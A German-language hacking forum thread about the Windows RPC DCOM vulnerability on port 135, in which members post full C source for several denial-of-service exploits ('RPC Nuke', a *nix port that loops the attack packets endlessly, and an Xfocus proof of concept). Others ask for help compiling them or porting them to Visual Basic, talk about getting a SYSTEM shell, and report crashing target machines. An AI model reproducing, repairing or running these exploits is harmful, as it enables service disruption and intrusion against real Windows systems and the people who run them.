Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit

Code:
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



void main(int argc,char ** argv)
{
    WSADATA WSAData;
 int i;
    SOCKET sock;
    SOCKADDR_IN addr_in;
 
 short port=135;
 unsigned char buf1[0x1000];
 printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
 printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus org\n");
 printf("Welcome to [URL]http://www.xfocus.net\n[/URL]");
 if(argc<2)
 {
  printf("useage:%s target\n",argv[0]);
exit(1);
 }


    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(port);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
 
 if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
 if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
 {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return;
 }
 if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }

 i=recv(sock,buf1,1024,MSG_PEEK);
 if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }
 i=recv(sock,buf1,1024,MSG_PEEK);
}

wenn mich nicht alles täuscht ist das c++ oder ?
ist das für linux oder für windows geschrieben ?
denk mal eher für windows...
bekomm leider den fehler "fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der Direktive fuer die vorkompilierte Header-Datei
Fehler beim Ausführen von cl.exe.
"
Ich habs mit Visual C++ versucht...

Was ich aber jetzt eigentlich vorhatte war der Versuch das ganze Teil als Visual Basic programm zu schreiben, hab noch nie nen exploit in ne andere sprache umgewandelt und es reizt mich jetzt irgendwie :))
Leider musste ich feststellen das ich viel zu wenig Ahnung von C++ hab,
Dieses ganze winsockzeugs sagt mir da einfach nix.
Könnte mir das vielleicht jemand ein ganz klein wenig kommentieren ?
Ich weiß, das ist nen großer gefallen aber naja,
vielleicht findet sich ja jemand der lust hat.

mfg
hell


hm da hab ich wohl das falsche forum erwischt, coding gibts ja extra, sorry...
 
ja, c++
ja, windows

die socket routinen sind absolut unspekatakulär.

der recv buffer (buf1) wird mit 4096 bytes deklariert (0x1000)
Er holt siche einen Socketdeskriptor (socket)
Er verbindet (connect) an port 135
Er sendet zunächst den shellcode der in bindstr steht
Er liest die antwort (i = recv..) in buf1
Er sendet den shellcode, der in request steht
Und liest wieder die antwort buf1


Also macht das Programm nichts anderes als 2 unterschiedliche arrays, gefüllt mit shellcode
an port 135 des Zielsystems zu senden.

fraglich, warum er sich die antwort extra einliest.

Probier mal aus den code mit einem anderen, "DOS" compiler zu übersetzten.
Bei Borland gibt es einen kostenlosen, der sehr gut ist.

mfg Thomas
 
hmmm danke schonmal,
wie wird denn der shellcode gesendet,
alles auf einmal, alles einzelnd(duch komma getrennt)..

in dos(c++) würde wenn der vuln pc erfolgreich exploitet wurde ne shell kommen mit system rechten. in vb befinde ich mich in einer gui und hab nur vermutungen wie ich die shell die ich bekommen soll in nen dos fenster bekomm. kenne mich mit buffer overflows nicht so aus. wenn ich netcat auf port 135 laufen lass ist das nicht des rätsels lösung oder ?

...suche jetzt erstmal nach dem c++ compiler...

mfg
hell
 
hmm wenn ich compilen will
bcc32.exe c:\rpcexploit.h
kommen 27 fehler :(

kannst ma testen und mir dann sagen wie dus compiled hast ? danke
 
@hellcoder

Code:
#include <winsock2.h> 
#include <stdio.h> 

#pragma comment(lib, "ws2_32.lib") 

char sendcode1[] = 
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00" 
"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" 
"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f" 
"\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" 
"\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00" 
"\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00" 
"\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00"; 

char sendcode2[] = 
"\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00"; 

char sendcode3[] = 
"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00"; 

char sendcode4[] = 
"\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" 
"\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d" 
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" 
"\x50\x10\x01\x00\x00\x00\x02\x00"; 

char sendcode5[] = 
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" 
"\x80\xf9\x00\x00\x00\x00\x02\x00"; 

char sendcode6[] = 
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" 
"\xb0\xe2\x00\x00\x00\x00\x02\x00"; 

char sendcode7[] = 
"\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00" 
"\x60\x15\x00\x00\x00\x00\x02\x00"; 

char sendcode8[] = 
"\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00"; 

int main(int argc, char *argv[]) 
{ 
WSADATA wsaData; 
WORD wVersionRequested; 
struct hostent *pTarget; 
struct sockaddr_in sock; 
char *targetip; 
int port,bufsize; 
SOCKET s; 
char buffer[20480]; 

printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n"); 
printf("================= By Lion, Welcome to [URL]http://www.cnhonker.com[/URL] =================\r\n\n"); 

if (argc < 2) 
{ 
printf("Usage:\r\n"); 
printf("  %s <TargetIP> [TargetPort]\r\n", argv[0]); 
printf("Example:\r\n"); 
printf("  %s 192.168.0.1\r\n", argv[0]); 
printf("  %s 192.168.0.1 135\r\n", argv[0]); 
printf("PS:\r\n"); 
printf("  If target is XP, try 2 times.\r\n"); 
exit(1); 
} 

wVersionRequested = MAKEWORD(1, 1); 
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; 

targetip = argv[1]; 
port = 135; 
if (argc >= 3) port = atoi(argv[2]); 
bufsize = 512; 
if (argc >= 4) bufsize = atoi(argv[3]); 

s = socket(AF_INET, SOCK_STREAM, 0); 
if(s==INVALID_SOCKET) 
{ 
printf("Socket error!\r\n"); 
exit(1); 
} 

printf("Resolving Hostnames...\n"); 
if ((pTarget = gethostbyname(targetip)) == NULL) 
{ 
printf("Resolve of %s failed, please try again.\n", argv[1]); 
exit(1); 
} 

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 
sock.sin_family = AF_INET; 
sock.sin_port = htons((USHORT)port); 

printf("Connecting...\n"); 
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))) 
{ 
printf("Couldn't connect to host.\n"); 
exit(1); 
} 

printf("Connected!...\n"); 
printf("Sending Packets...\n"); 
if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1) 
{ 
printf("Error sending nuke Packets\r\n"); 
closesocket(s); 
exit(1); 
} 

memset(&buffer, '\x41', 240); 
send(s, buffer, 240, 0); 

send(s, sendcode2, sizeof(sendcode2)-1, 0); 
memset(&buffer, '\x42', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode3, sizeof(sendcode3)-1, 0); 
memset(&buffer, '\x43', 512); 
send(s, buffer, 512, 0); 

send(s, sendcode4, sizeof(sendcode4)-1, 0); 
// memset(&buffer, '\x44', 20480); 
// send(s, buffer, 20480, 0); 

// /* 
memset(&buffer, '\x44', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode5, sizeof(sendcode5)-1, 0); 
memset(&buffer, '\x45', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode6, sizeof(sendcode6)-1, 0); 
memset(&buffer, '\x46', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode7, sizeof(sendcode7)-1, 0); 
memset(&buffer, '\x47', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode8, sizeof(sendcode8)-1, 0); 
memset(&buffer, '\x48', 5000); 
send(s, buffer, 5000, 0); 

// */ 
printf("Nuked! \r\nIf target is XP, try a again! :)\r\n"); 
closesocket(s); 
WSACleanup(); 
return 0; 
}

MfG

Crux
 
was des ding genau macht nachdem er erfolgreich war weiß ich nicht - sollte man mal testet...

des ding schickt einen request an port 135, an das ziel
danach was (eine bestätigung) empfangen? - dann ist das ziel hackable

danach kommt der code - wahrscheinlich ein shellcode

sowas in vb zu realisieren düfte schwehr bis unmöglich sein!
 
Es gibt eine ähnliche Umsetzung für Linux

Code:
/*
************************************************************************
* MS WIN RPC DoS CODE FROM SPIKE v2.7
* 
* Compile it use:
* win		->	cl winnuke.c
* most *nix ->	cc -o winnuke winnuke.c
* sunos	->	cc -o winnuke winnuke.c -lsocket -lnsl
*
* Usage:
* ./winnuke targetip   
*
* Code by lion, Welcomde to HUC Website [URL]Http://www.cnhonker.com[/URL]
* 2002/10/22
* Ported to *nix by Padre Pio
* (Thx to Carolo Wojtyla for the support and the *Admin* for the 5 seconds of testing)
* Compile on various *nix flavours (Tested on Linux Slackware 7.1, SunOS 5.6, FreeBSD 4.6)
* 2003/06/26
************************************************************************
*/

#include <stdio.h>

#if defined(WIN32)
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#else

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define SOCKET int
#define INVALID_SOCKET -1
#define closesocket(s) close(s)

#endif


char sendcode1[] = 
	"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00"
	"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
	"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f"
	"\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
	"\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00"
	"\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00"
	"\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00";

char sendcode2[] = 
	"\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00";

char sendcode3[] = 
	"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00";

char sendcode4[] = 
	"\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" 
	"\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d"
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\x50\x10\x01\x00\x00\x00\x02\x00";

char sendcode5[] = 
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\x80\xf9\x00\x00\x00\x00\x02\x00";

char sendcode6[] = 
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\xb0\xe2\x00\x00\x00\x00\x02\x00";

char sendcode7[] = 
	"\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00"
	"\x60\x15\x00\x00\x00\x00\x02\x00";

char sendcode8[] = 
	"\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00";

int main(int argc, char *argv[])
{

#if defined(WIN32)
	WSADATA wsaData;
	WORD wVersionRequested;
#endif

	struct hostent 		*pTarget;
	struct sockaddr_in 	sock;
	char *targetip;
	int port,bufsize;
	SOCKET s;
	char buffer[20480];

	printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n");
	printf("================= By Lion, Welcome to [URL]http://www.cnhonker.com[/URL] =================\r\n");
	printf("================================ *nix Version =================================\r\n");

	if (argc < 2)
	{
		printf("Usage:\r\n");
		printf("    %s <TargetIP> [TargetPort]\r\n", argv[0]);
		printf("Example:\r\n");
		printf("    %s 192.168.0.1\r\n", argv[0]);
		printf("    %s 192.168.0.1 135\r\n", argv[0]);
		printf("PS:\r\n");
		printf("    If target is XP, try 2 times.\r\n");
		exit(1);
	}

#if defined(WIN32)
	VersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; */
#endif


	targetip = argv[1];
	port = 135;
	if (argc >= 3) port = atoi(argv[2]);
	bufsize = 512;
	if (argc >= 4) bufsize = atoi(argv[3]);

	s = socket(AF_INET, SOCK_STREAM, 0);


	if(s==INVALID_SOCKET)
	{	
		printf("Socket error!\r\n");
		exit(1);
	}

	printf("Resolving Hostnames...\n");
	if ((pTarget = gethostbyname(targetip)) == NULL)
	{
		printf("Resolve of %s failed, please try again.\n", argv[1]);
		exit(1);
	}

	memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	printf("Connecting...\n");
	if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))
	{
		printf("Couldn't connect to host.\n");
		exit(1);
	}



	printf("Connected!...\n");
	printf("Sending Packets...\n");
	if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)
	{
		printf("Error sending nuke Packets\r\n");
		closesocket(s);
		exit(1);
	}

while(1){

	memset(&buffer, '\x41', 240);
	send(s, buffer, 240, 0);

	send(s, sendcode2, sizeof(sendcode2)-1, 0);
	memset(&buffer, '\x42', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode3, sizeof(sendcode3)-1, 0);
	memset(&buffer, '\x43', 512);
	send(s, buffer, 512, 0);
	
	send(s, sendcode4, sizeof(sendcode4)-1, 0);
//	memset(&buffer, '\x44', 20480);
//	send(s, buffer, 20480, 0);

//	/*
	memset(&buffer, '\x44', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode5, sizeof(sendcode5)-1, 0);
	memset(&buffer, '\x45', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode6, sizeof(sendcode6)-1, 0);
	memset(&buffer, '\x46', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode7, sizeof(sendcode7)-1, 0);
	memset(&buffer, '\x47', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode8, sizeof(sendcode8)-1, 0);
	memset(&buffer, '\x48', 5000);
	send(s, buffer, 5000, 0);
	
//	*/
}
	printf("Nuked! \r\nIf target is XP, try again! :)\r\n");
	closesocket(s);

#if defined(WIN32)
	WSACleanup();
#endif
	return 0;
}

mfg p2k
 
Das was ihr da postet ist aber leider die alte rpc vuln mit der man rpc abschießen kann. das was ich gepostet hab ist ne ganz neue sicherheitslücke mit der man system access bekommt. Wollte das gerne mal irgendwie testen, aber schaffs absolut nicht es zu compilen, selbst wenn der eine fehler nicht mehr kommt kommen die nächsten 4... ;(

naja trotzdem danke.
mfg
hell
 
beide exploits bringen den rpc dienst zum absturz - evtl auch den pc... hab beide grad mal getestet ;)

aber die sicherheitslücke kann man auch zum ausführen von einem beliebigem code verwenden, es gibt blos noch keine öffentliches eploits
 
umgehen lässt sich das schon,
hab das mal irgendwie mittels vb gestoppt,
ist nur nen kleiner befehl will mir jetzt aber nicht einfallen ;(
das dumme ist das man danach erstma wieder paar prozesse von hand starten muss...

werd ma freund fragen wie das mit dem befehl war,
dann post ich das hier nochma.
 
@TheVoid

Der RPC-Remote-Shell-Exploit funktioniert nur bei "englischen Versionen" von Windows, was
auch im Exploit selber drin steht. Der Aufbau und vorallem die Speicheradressen unterscheiden
sich bei den verschieden sprachigen Windows-Versionen. Meiner Meinung nach liegt hier genau
das Problem, warum z.B. deutsche WinXP-Versionen "rebooten" und englische scheinbar nicht.

Sage mal, bei welcher Version Du das denn getestet hast?!

MfG Rushjo
 
hi, leude !
ich hab nen c++ source code von sonem shitty rpc dcom exploit mit angeblich "universal targets". ich hab versucht den code unter w2k sp4 mit vc++ 6.0 sp3 zu compilen, bekomm aber einen fehler und zwar diesen, dass mir eine header datei fehlt und zwar die "sys/socket.h" ich kenn mich ned mit programmieren in c++ aus, also hab ich auch keine ahnung vom socket programmieren. ich würd gern wissen obs die "socket.h" für windows gibt und wo ich sie finden kann, big thanx.

cu

subman alias laberbacke
 
@Ra1d3n

Klar, mich wundert nur, das die "Exploits" alle (die ich bisher getestet habe!)
nur den RPC-Service beenden und ein "reboot" folgt. Daher die Frage.

MfG Rushjo

P.S. Ich habe auch den mit "48 Targets" getestet, auch nicht anders, nur "reboot".
 
hi,
ihr müsst schon den "buffer overflow" exploit verwenden, es gibbet ja auch einen "denial of service" exploit....kein wunder wenn mit dem der server abstürzt. ausserdem sind die meisten exploits sprach- und versionsgebunden, kann sein dass der server auch bei nem nicht passenden exploit abschmiert.
aber kann mir jemand vielleicht mit meinem sys/socket.h problem weiterhelfen ??

dange

cu
 
hi, hab die gleiche FM bei nem media exploit, das muss doch zu fixen sein ?(

FM "edia.cpp(113) : fatal error C1010: Unerwartetes Dateiende während der Suche nach der Direktive für die vorkompilierte Headerdatei"

kompiliert hab ich mit visual .net

hat jmd ne idee?

greetz aTa
 
Zurück
Oben